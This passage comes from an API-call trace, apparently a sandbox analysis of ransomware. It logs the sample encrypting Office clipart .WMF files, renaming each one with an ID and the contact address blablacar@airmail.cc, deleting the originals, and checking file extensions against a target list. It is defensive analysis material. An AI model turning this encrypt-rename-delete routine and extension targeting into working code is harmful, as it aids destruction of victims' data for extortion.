dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.795] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.795] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0216.796] GetLastError () returned 0x0 [0216.796] ReadFile (in: hFile=0x36c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x406c, lpOverlapped=0x0) returned 1 [0216.798] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x4070, lpOverlapped=0x0) returned 1 [0216.799] ReadFile (in: hFile=0x36c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0216.799] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0216.799] SetEndOfFile (hFile=0x4d8) returned 1 [0216.799] CloseHandle (hObject=0x4d8) returned 1 [0216.799] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.800] SetEndOfFile (hFile=0x36c) returned 1 [0216.802] CloseHandle (hObject=0x36c) returned 1 [0216.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 1 [0216.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0216.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0216.804] lstrlenW (lpString=".doc") returned 4 [0216.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.804] lstrlenW (lpString=".docx") returned 5 [0216.804] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0216.804] lstrlenW (lpString=".pdf") returned 4 [0216.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.804] lstrlenW (lpString=".xls") returned 4 [0216.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.805] lstrlenW (lpString=".xlsx") returned 5 [0216.805] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0216.805] lstrlenW (lpString=".ppt") returned 4 [0216.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0216.805] lstrlenW (lpString=".zip") returned 4 [0216.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.805] lstrlenW (lpString=".rar") returned 4 [0216.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.805] lstrlenW (lpString=".bz2") returned 4 [0216.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.805] lstrlenW (lpString=".7z") returned 3 [0216.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0216.805] lstrlenW (lpString=".dbf") returned 4 [0216.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0216.805] lstrlenW (lpString=".1cd") returned 4 [0216.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0216.805] lstrlenW (lpString=".jpg") returned 4 [0216.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0216.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0216.805] lstrlenW (lpString=".doc") returned 4 [0216.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.805] lstrlenW (lpString=".docx") returned 5 [0216.805] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0216.806] lstrlenW (lpString=".pdf") returned 4 [0216.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.806] lstrlenW (lpString=".xls") returned 4 [0216.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.806] lstrlenW (lpString=".xlsx") returned 5 [0216.806] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0216.806] lstrlenW (lpString=".ppt") returned 4 [0216.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0216.806] lstrlenW (lpString=".zip") returned 4 [0216.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.060] lstrlenW (lpString=".rar") returned 4 [0217.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.060] lstrlenW (lpString=".bz2") returned 4 [0217.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.080] lstrlenW (lpString=".7z") returned 3 [0217.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0217.080] lstrlenW (lpString=".dbf") returned 4 [0217.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0217.081] lstrlenW (lpString=".1cd") returned 4 [0217.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0217.092] lstrlenW (lpString=".jpg") returned 4 [0217.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.092] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.092] lstrlenW (lpString="J0152560.WMF") returned 12 [0217.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0217.112] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10880) returned 1 [0217.112] CloseHandle (hObject=0x478) returned 1 [0217.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 0x220 [0217.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0217.113] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.113] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0217.114] GetLastError () returned 0x0 [0217.114] ReadFile (in: hFile=0x478, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2a80, lpOverlapped=0x0) returned 1 [0217.116] WriteFile (in: hFile=0x474, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2a90, lpOverlapped=0x0) returned 1 [0217.117] ReadFile (in: hFile=0x478, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0217.117] WriteFile (in: hFile=0x474, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0217.117] SetEndOfFile (hFile=0x474) returned 1 [0217.117] CloseHandle (hObject=0x474) returned 1 [0217.117] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.117] SetEndOfFile (hFile=0x478) returned 1 [0217.121] CloseHandle (hObject=0x478) returned 1 [0217.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 1 [0217.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0217.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0217.122] lstrlenW (lpString=".doc") returned 4 [0217.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.122] lstrlenW (lpString=".docx") returned 5 [0217.122] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0217.122] lstrlenW (lpString=".pdf") returned 4 [0217.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.122] lstrlenW (lpString=".xls") returned 4 [0217.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.122] lstrlenW (lpString=".xlsx") returned 5 [0217.122] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0217.122] lstrlenW (lpString=".ppt") returned 4 [0217.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0217.122] lstrlenW (lpString=".zip") returned 4 [0217.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.122] lstrlenW (lpString=".rar") returned 4 [0217.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.122] lstrlenW (lpString=".bz2") returned 4 [0217.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.123] lstrlenW (lpString=".7z") returned 3 [0217.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0217.123] lstrlenW (lpString=".dbf") returned 4 [0217.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0217.123] lstrlenW (lpString=".1cd") returned 4 [0217.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0217.123] lstrlenW (lpString=".jpg") returned 4 [0217.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0217.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0217.123] lstrlenW (lpString=".doc") returned 4 [0217.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.123] lstrlenW (lpString=".docx") returned 5 [0217.123] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0217.123] lstrlenW (lpString=".pdf") returned 4 [0217.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.123] lstrlenW (lpString=".xls") returned 4 [0217.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.123] lstrlenW (lpString=".xlsx") returned 5 [0217.123] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0217.123] lstrlenW (lpString=".ppt") returned 4 [0217.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0217.123] lstrlenW (lpString=".zip") returned 4 [0217.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.123] lstrlenW (lpString=".rar") returned 4 [0217.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.123] lstrlenW (lpString=".bz2") returned 4 [0217.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.124] lstrlenW (lpString=".7z") returned 3 [0217.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0217.124] lstrlenW (lpString=".dbf") returned 4 [0217.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0217.124] lstrlenW (lpString=".1cd") returned 4 [0217.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0217.124] lstrlenW (lpString=".jpg") returned 4 [0217.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.124] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.124] lstrlenW (lpString="J0152568.WMF") returned 12 [0217.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0217.125] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3696) returned 1 [0217.125] CloseHandle (hObject=0x478) returned 1 [0217.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 0x220 [0217.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0217.125] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.125] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0217.127] GetLastError () returned 0x0 [0217.127] ReadFile (in: hFile=0x478, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xe70, lpOverlapped=0x0) returned 1 [0217.128] WriteFile (in: hFile=0x474, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xe80, lpOverlapped=0x0) returned 1 [0217.129] ReadFile (in: hFile=0x478, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0217.129] WriteFile (in: hFile=0x474, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0217.129] SetEndOfFile (hFile=0x474) returned 1 [0217.129] CloseHandle (hObject=0x474) returned 1 [0217.129] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.130] SetEndOfFile (hFile=0x478) returned 1 [0217.132] CloseHandle (hObject=0x478) returned 1 [0217.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 1 [0217.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0217.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0217.133] lstrlenW (lpString=".doc") returned 4 [0217.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.133] lstrlenW (lpString=".docx") returned 5 [0217.133] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0217.133] lstrlenW (lpString=".pdf") returned 4 [0217.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.133] lstrlenW (lpString=".xls") returned 4 [0217.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.133] lstrlenW (lpString=".xlsx") returned 5 [0217.134] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0217.134] lstrlenW (lpString=".ppt") returned 4 [0217.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0217.134] lstrlenW (lpString=".zip") returned 4 [0217.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.134] lstrlenW (lpString=".rar") returned 4 [0217.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.134] lstrlenW (lpString=".bz2") returned 4 [0217.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.134] lstrlenW (lpString=".7z") returned 3 [0217.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0217.134] lstrlenW (lpString=".dbf") returned 4 [0217.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0217.134] lstrlenW (lpString=".1cd") returned 4 [0217.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0217.134] lstrlenW (lpString=".jpg") returned 4 [0217.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0217.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0217.134] lstrlenW (lpString=".doc") returned 4 [0217.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.134] lstrlenW (lpString=".docx") returned 5 [0217.134] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0217.134] lstrlenW (lpString=".pdf") returned 4 [0217.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.136] lstrlenW (lpString=".xls") returned 4 [0217.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.136] lstrlenW (lpString=".xlsx") returned 5 [0217.136] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0217.136] lstrlenW (lpString=".ppt") returned 4 [0217.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0217.136] lstrlenW (lpString=".zip") returned 4 [0217.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.136] lstrlenW (lpString=".rar") returned 4 [0217.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.136] lstrlenW (lpString=".bz2") returned 4 [0217.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.136] lstrlenW (lpString=".7z") returned 3 [0217.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0217.136] lstrlenW (lpString=".dbf") returned 4 [0217.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0217.136] lstrlenW (lpString=".1cd") returned 4 [0217.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0217.136] lstrlenW (lpString=".jpg") returned 4 [0217.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.136] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.136] lstrlenW (lpString="J0152570.WMF") returned 12 [0217.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0217.137] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3368) returned 1 [0217.137] CloseHandle (hObject=0x478) returned 1 [0217.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 0x220 [0217.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0217.138] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.138] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft 